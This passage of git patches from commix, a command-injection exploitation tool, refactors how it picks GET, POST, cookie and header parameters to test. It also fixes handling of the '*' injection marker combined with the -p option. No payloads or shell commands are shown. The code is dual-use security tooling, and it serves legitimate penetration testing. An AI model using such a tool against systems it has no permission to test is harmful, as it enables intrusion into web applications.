found[i] + check_parameter = parameters.specify_cookie_parameter(found[i]) + if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: + if len(check_parameter) > 0: + settings.TESTABLE_PARAMETER = check_parameter + if len(settings.TESTABLE_PARAMETER) > 0: + if menu.options.test_parameter != None: + counter = 0 + for check_parameter in check_parameters: + if settings.TEST_PARAMETER.count(check_parameter) != 0: + if data_type == settings.HTTPMETHOD.POST: + menu.options.data = found[counter] + check_parameter = parameters.vuln_POST_param(menu.options.data, url) + if data_type == settings.HTTPMETHOD.GET: + url = found[counter] + check_parameter = parameters.vuln_GET_param(url) + if data_type == settings.COOKIE: + menu.options.cookie = found[counter] + check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + counter += 1 + break + else: + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + else: + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) """ Cookie injection @@ -478,7 +539,6 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file def cookie_injection(url, http_request_method, filename, timesec): settings.COOKIE_INJECTION = True - # Cookie Injection if settings.COOKIE_INJECTION: cookie_value = menu.options.cookie @@ -489,45 +549,9 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters_list = [] cookie_parameters_list.append(cookie_parameters) cookie_parameters = cookie_parameters_list - # Remove whitespaces cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - - check_parameters = [] - for i in range(0, len(cookie_parameters)): - menu.options.cookie = cookie_parameters[i] - check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - check_parameters.append(check_parameter) - - checks.testable_parameters(url, check_parameters, header_name) - - for i in range(0, len(cookie_parameters)): - parameter = menu.options.cookie = cookie_parameters[i] - check_parameter = parameters.specify_cookie_parameter(parameter) - if check_parameter != parameter: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided - if len(settings.TEST_PARAMETER) > 0: - if menu.options.test_parameter != None: - param_counter = 0 - for check_parameter in check_parameters: - if settings.TEST_PARAMETER.count(check_parameter) != 0: - menu.options.cookie = cookie_parameters[param_counter] - check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - param_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) if settings.COOKIE_INJECTION == True: # Restore cookie value @@ -541,44 +565,14 @@ def cookie_injection(url, http_request_method, filename, timesec): def get_request(url, http_request_method, filename, timesec): found_url = parameters.do_GET_check(url, http_request_method) - if found_url != False: - - check_parameters = [] - for i in range(0, len(found_url)): - url = found_url[i] - check_parameter = parameters.vuln_GET_param(url) - check_parameters.append(check_parameter) + header_name = "" - header_name = "" - checks.testable_parameters(url, check_parameters, header_name) + if type(found_url) is str: + found_url = [] + found_url_list.append(found_url) + found_url = found_url - for i in range(0, len(found_url)): - url = found_url[i] - check_parameter = parameters.vuln_GET_param(url) - if check_parameter != url and check_parameter not in settings.SKIP_PARAMETER: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided - if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: - url_counter = 0 - for check_parameter in check_parameters: - if settings.TEST_PARAMETER.count(check_parameter) != 0: - url = found_url[url_counter] - check_parameter = parameters.vuln_GET_param(url) - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - url_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec) """ Check if HTTP Method is POST. @@ -587,58 +581,21 @@ def post_request(url, http_request_method, filename, timesec): parameter = settings.USER_DEFINED_POST_DATA found_parameter = parameters.do_POST_check(parameter, http_request_method) + header_name = "" - # Check if singe entry parameter if type(found_parameter) is str: found_parameter_list = [] found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_JSON or settings.IS_XML: + if any((settings.IS_JSON, settings.IS_XML)): # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] else: # Remove whitespaces found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] - # Check if multiple parameters - check_parameters = [] - for i in range(0, len(found_parameter)): - parameter = menu.options.data = found_parameter[i] - check_parameter = parameters.vuln_POST_param(parameter, url) - check_parameters.append(check_parameter) - - header_name = "" - checks.testable_parameters(url, check_parameters, header_name) - - for i in range(0, len(found_parameter)): - #if settings.INJECT_TAG in found_parameter[i]: - parameter = menu.options.data = found_parameter[i] - check_parameter = parameters.vuln_POST_param(parameter, url) - if check_parameter != parameter and check_parameter not in settings.SKIP_PARAMETER: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided - if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: - param_counter = 0 - for check_parameter in check_parameters: - if settings.TEST_PARAMETER.count(check_parameter) != 0: - menu.options.data = found_parameter[param_counter] - check_parameter = parameters.vuln_POST_param(menu.options.data, url) - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - param_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + do_injection(found_parameter, settings.HTTPMETHOD.POST, header_name, url, http_request_method, filename, timesec) """ Perform GET / POST parameters checks @@ -662,7 +619,9 @@ def data_checks(url, http_request_method, filename, timesec): Perform checks over cookie values. """ def cookies_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: + if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or \ + settings.INJECTION_MARKER_LOCATION.COOKIE or \ + settings.COOKIE_INJECTION: if not settings.SKIP_NON_CUSTOM: cookie_injection(url, http_request_method, filename, timesec) @@ -670,7 +629,9 @@ def cookies_checks(url, http_request_method, filename, timesec): Perform checks over HTTP Headers parameters. """ def headers_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or settings.HTTP_HEADERS_INJECTION or any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): + if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or \ + settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.HTTP_HEADERS_INJECTION or \ + any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): if not settings.SKIP_NON_CUSTOM: http_headers_injection(url, http_request_method, filename, timesec) diff --git a/src/utils/settings.py b/src/utils/settings.py index 8a3a21c6dc..dbb64cfe50 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "74" +REVISION = "75" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cd55cc54308a8b28aa488ef1cde9dc6e1239b4cd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 25 Jun 2024 07:12:15 +0300 Subject: [PATCH 472/560] Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 26 +++--- src/core/injections/controller/controller.py | 83 +++++++++----------- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 25 +++--- src/utils/settings.py | 6 +- 6 files changed, 72 insertions(+), 71 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b469e35b43..8dbfda995e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. * Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). * Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). * Updated: Six (third party) module has been updated (Python 3.12 support). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a0b5862e37..7c08046d11 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -152,7 +152,7 @@ def process_custom_injection_data(data): Check for custom injection marker character ('*'). """ def custom_injection_marker_character(url, http_request_method): - _ = False + _ = settings.CUSTOM_INJECTION_MARKER = False if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True @@ -172,7 +172,7 @@ def custom_injection_marker_character(url, http_request_method): elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: - if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: + if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: settings.CUSTOM_INJECTION_MARKER = True else: settings.CUSTOM_HEADER_INJECTION = True @@ -537,7 +537,7 @@ def PCRE_e_modifier(parameter, http_request_method): """ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - if not any(parameter for token in settings.TEST_PARAMETER): + if not any(parameter for token in settings.TESTABLE_PARAMETERS_LIST): if (len(parameter.split("="))) == 2: info_msg = "Ignoring the parameter '" + parameter.split("=")[0] info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." @@ -1292,26 +1292,26 @@ def check_provided_parameters(): if menu.options.test_parameter != None : if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + settings.TESTABLE_PARAMETERS_LIST = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) elif menu.options.skip_parameter != None : if menu.options.skip_parameter.startswith("="): menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + settings.TESTABLE_PARAMETERS_LIST = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - for i in range(0,len(settings.TEST_PARAMETER)): - if "=" in settings.TEST_PARAMETER[i]: - settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + for i in range(0,len(settings.TESTABLE_PARAMETERS_LIST)): + if "=" in settings.TESTABLE_PARAMETERS_LIST[i]: + settings.TESTABLE_PARAMETERS_LIST[i] = settings.TESTABLE_PARAMETERS_LIST[i].split("=")[0] """ Remove skipped parameters """ def remove_skipped_params(url, check_parameters): testable_parameters = list(set(check_parameters) - set(menu.options.skip_parameter.split(","))) - settings.TEST_PARAMETER = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX)] + settings.TESTABLE_PARAMETERS_LIST = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX)] _ = [] for parameter in check_parameters: - if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX): + if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX): _.append(parameter) if _: info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'." @@ -1327,11 +1327,11 @@ def testable_parameters(url, check_parameters, header_name): remove_skipped_params(url, check_parameters) _ = False - if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]) == 0: _ = True - if settings.TEST_PARAMETER and isinstance(settings.TEST_PARAMETER, list): - testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") + if settings.TESTABLE_PARAMETERS_LIST and isinstance(settings.TESTABLE_PARAMETERS_LIST, list): + testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).replace(settings.SINGLE_WHITESPACE, "") testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX) non_exist_param = list(set(testable_parameters) - set(check_parameters)) if _ and settings.TESTABLE_PARAMETERS != False: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b9c2b51a11..dc4911a06c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -280,7 +280,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) - + # User-Agent/Referer/Host/Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" @@ -309,6 +309,9 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) + + if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: + settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) @@ -476,9 +479,7 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file """ def do_injection(found, data_type, header_name, url, http_request_method, filename, timesec): - # Check if multiple parameters - check_parameters = [] - for i in range(0, len(found)): + def define_check_parameter(found, i, url): if data_type == settings.HTTPMETHOD.POST: menu.options.data = found[i] check_parameter = parameters.vuln_POST_param(found[i], url) @@ -488,46 +489,45 @@ def do_injection(found, data_type, header_name, url, http_request_method, filena if data_type == settings.COOKIE: menu.options.cookie = found[i] check_parameter = parameters.specify_cookie_parameter(found[i]) + return url, check_parameter + + # Check if multiple parameters + check_parameters = [] + for i in range(0, len(found)): + url, check_parameter = define_check_parameter(found, i, url) check_parameters.append(check_parameter) checks.testable_parameters(url, check_parameters, header_name) for i in range(0, len(found)): - if data_type == settings.HTTPMETHOD.POST: - menu.options.data = found[i] - check_parameter = parameters.vuln_POST_param(found[i], url) - if data_type == settings.HTTPMETHOD.GET: - url = found[i] - check_parameter = parameters.vuln_GET_param(url) - if data_type == settings.COOKIE: - menu.options.cookie = found[i] - check_parameter = parameters.specify_cookie_parameter(found[i]) + url, check_parameter = define_check_parameter(found, i, url) if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: + if settings.TESTABLE_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER: + counter = 0 + for check_parameter in check_parameters: + if settings.TESTABLE_PARAMETERS_LIST.count(check_parameter) != 0: + url, check_parameter = define_check_parameter(found, counter, url) + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + counter += 1 + break + elif settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and settings.CUSTOM_INJECTION_MARKER: counter = 0 for check_parameter in check_parameters: - if settings.TEST_PARAMETER.count(check_parameter) != 0: - if data_type == settings.HTTPMETHOD.POST: - menu.options.data = found[counter] - check_parameter = parameters.vuln_POST_param(menu.options.data, url) - if data_type == settings.HTTPMETHOD.GET: - url = found[counter] - check_parameter = parameters.vuln_GET_param(url) - if data_type == settings.COOKIE: - menu.options.cookie = found[counter] - check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) + if settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.count(check_parameter) != 0: + url, check_parameter = define_check_parameter(found, counter, url) # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) counter += 1 break else: - # Check for session file check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: # Check for session file check_for_stored_sessions(url, http_request_method) @@ -538,10 +538,10 @@ def do_injection(found, data_type, header_name, url, http_request_method, filena """ def cookie_injection(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = True - # Cookie Injection - if settings.COOKIE_INJECTION: - cookie_value = menu.options.cookie + cookie_value = menu.options.cookie + if cookie_value: + settings.COOKIE_INJECTION = True + # Cookie Injection header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) @@ -553,7 +553,7 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION: # Restore cookie value menu.options.cookie = cookie_value # Disable cookie injection @@ -567,12 +567,8 @@ def get_request(url, http_request_method, filename, timesec): found_url = parameters.do_GET_check(url, http_request_method) header_name = "" - if type(found_url) is str: - found_url = [] - found_url_list.append(found_url) - found_url = found_url - - do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec) + if found_url != False: + do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec) """ Check if HTTP Method is POST. @@ -619,7 +615,7 @@ def data_checks(url, http_request_method, filename, timesec): Perform checks over cookie values. """ def cookies_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or \ + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in str(menu.options.cookie)]) != 0 or \ settings.INJECTION_MARKER_LOCATION.COOKIE or \ settings.COOKIE_INJECTION: if not settings.SKIP_NON_CUSTOM: @@ -629,7 +625,7 @@ def cookies_checks(url, http_request_method, filename, timesec): Perform checks over HTTP Headers parameters. """ def headers_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or \ + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in settings.HTTP_HEADERS]) != 0 or \ settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.HTTP_HEADERS_INJECTION or \ any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): if not settings.SKIP_NON_CUSTOM: @@ -698,19 +694,18 @@ def perform_checks(url, http_request_method, filename): headers_checks(url, http_request_method, filename, timesec) if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: custom_headers_checks(url, http_request_method, filename, timesec) - if settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA \ - or settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL: + if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): checks.process_non_custom() if not settings.SKIP_NON_CUSTOM: settings.CUSTOM_INJECTION_MARKER = False - if not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: data_checks(url, http_request_method, filename, timesec) if _: - if not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: settings.COOKIE_INJECTION = True cookies_checks(url, http_request_method, filename, timesec) - if not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: settings.HTTP_HEADERS_INJECTION = True headers_checks(url, http_request_method, filename, timesec) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 04dabbef50..af46d2ac85 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -398,7 +398,7 @@ def do_check(request): if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: settings.CUSTOM_INJECTION_MARKER = True - if http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: + if http_header_name in settings.TESTABLE_PARAMETERS_LIST or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True settings.CUSTOM_HEADER_CHECK = http_header_name if len(http_header_name) != 0 and \ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 2f2b0fff02..e6db9303f7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -62,7 +62,7 @@ def multi_params_get_value(parameter): if "?" not in url: settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: - if len(settings.TEST_PARAMETER) != 0 or \ + if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \ menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: @@ -202,7 +202,8 @@ def vuln_GET_param(url): vuln_parameter = pairs[param].split("=")[0] if settings.CUSTOM_INJECTION_MARKER: try: - settings.TEST_PARAMETER = vuln_parameter + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass @@ -304,7 +305,7 @@ def json_format(parameter): settings.IS_XML = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "\n" - elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER) and not settings.INJECT_TAG in parameter: + elif settings.TESTABLE_PARAMETERS_LIST and not any(ext in parameter for ext in settings.TESTABLE_PARAMETERS_LIST) and not settings.INJECT_TAG in parameter: if settings.SKIP_NON_CUSTOM: settings.IGNORE_USER_DEFINED_POST_DATA = True @@ -477,7 +478,8 @@ def vuln_POST_param(parameter, url): parameters = ''.join(parameters.split(":")[0]).strip() settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) if settings.CUSTOM_INJECTION_MARKER: - settings.TEST_PARAMETER = vuln_parameter + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST # XML data format. elif settings.IS_XML: @@ -492,7 +494,8 @@ def vuln_POST_param(parameter, url): vuln_parameter = ''.join(_.groups()[0]) if settings.CUSTOM_INJECTION_MARKER: try: - settings.TEST_PARAMETER = vuln_parameter + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass @@ -508,7 +511,8 @@ def vuln_POST_param(parameter, url): vuln_parameter = pairs[param].split("=")[0] if settings.CUSTOM_INJECTION_MARKER: try: - settings.TEST_PARAMETER = vuln_parameter + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass @@ -682,18 +686,19 @@ def specify_cookie_parameter(cookie): pairs = cookie.split(settings.COOKIE_DELIMITER) for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: - inject_cookie = pairs[param].split("=")[0] + vuln_parameter = pairs[param].split("=")[0] if settings.CUSTOM_INJECTION_MARKER: try: - settings.TEST_PARAMETER = inject_cookie + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") break else: - inject_cookie = cookie - return inject_cookie + vuln_parameter = cookie + return vuln_parameter """ The user-agent based injection. diff --git a/src/utils/settings.py b/src/utils/settings.py index dbb64cfe50..b44f444c3b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "75" +REVISION = "76" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -373,8 +373,8 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_CHAR = "*" CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" -CUSTOM_INJECTION_MARKER_DATA = [] PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] class INJECTION_MARKER_LOCATION(object): URL = False @@ -386,7 +386,7 @@ class INJECTION_MARKER_LOCATION(object): SKIP_NON_CUSTOM = None # Testable parameter(s) - comma separated. -TEST_PARAMETER = "" +TESTABLE_PARAMETERS_LIST = [] TESTABLE_PARAMETERS = None # Skip testing for given parameter(s) - comma separated. From 8894b0c3a356f9e835ebe354d525154ed945f8e4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 26 Jun 2024 07:23:00 +0300 Subject: [PATCH 473/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/cd55cc54308a8b28aa488ef1cde9dc6e1239b4cd --- src/core/injections/controller/checks.py | 1 + src/core/injections/controller/controller.py | 33 +++++++++----------- src/core/main.py | 4 +-- src/utils/settings.py | 2 +- 4 files changed, 19 insertions(+), 21 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7c08046d11..f7e39096f1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -228,6 +228,7 @@ def skip_testing(filename, url): if settings.IDENTIFIED_WARNINGS or 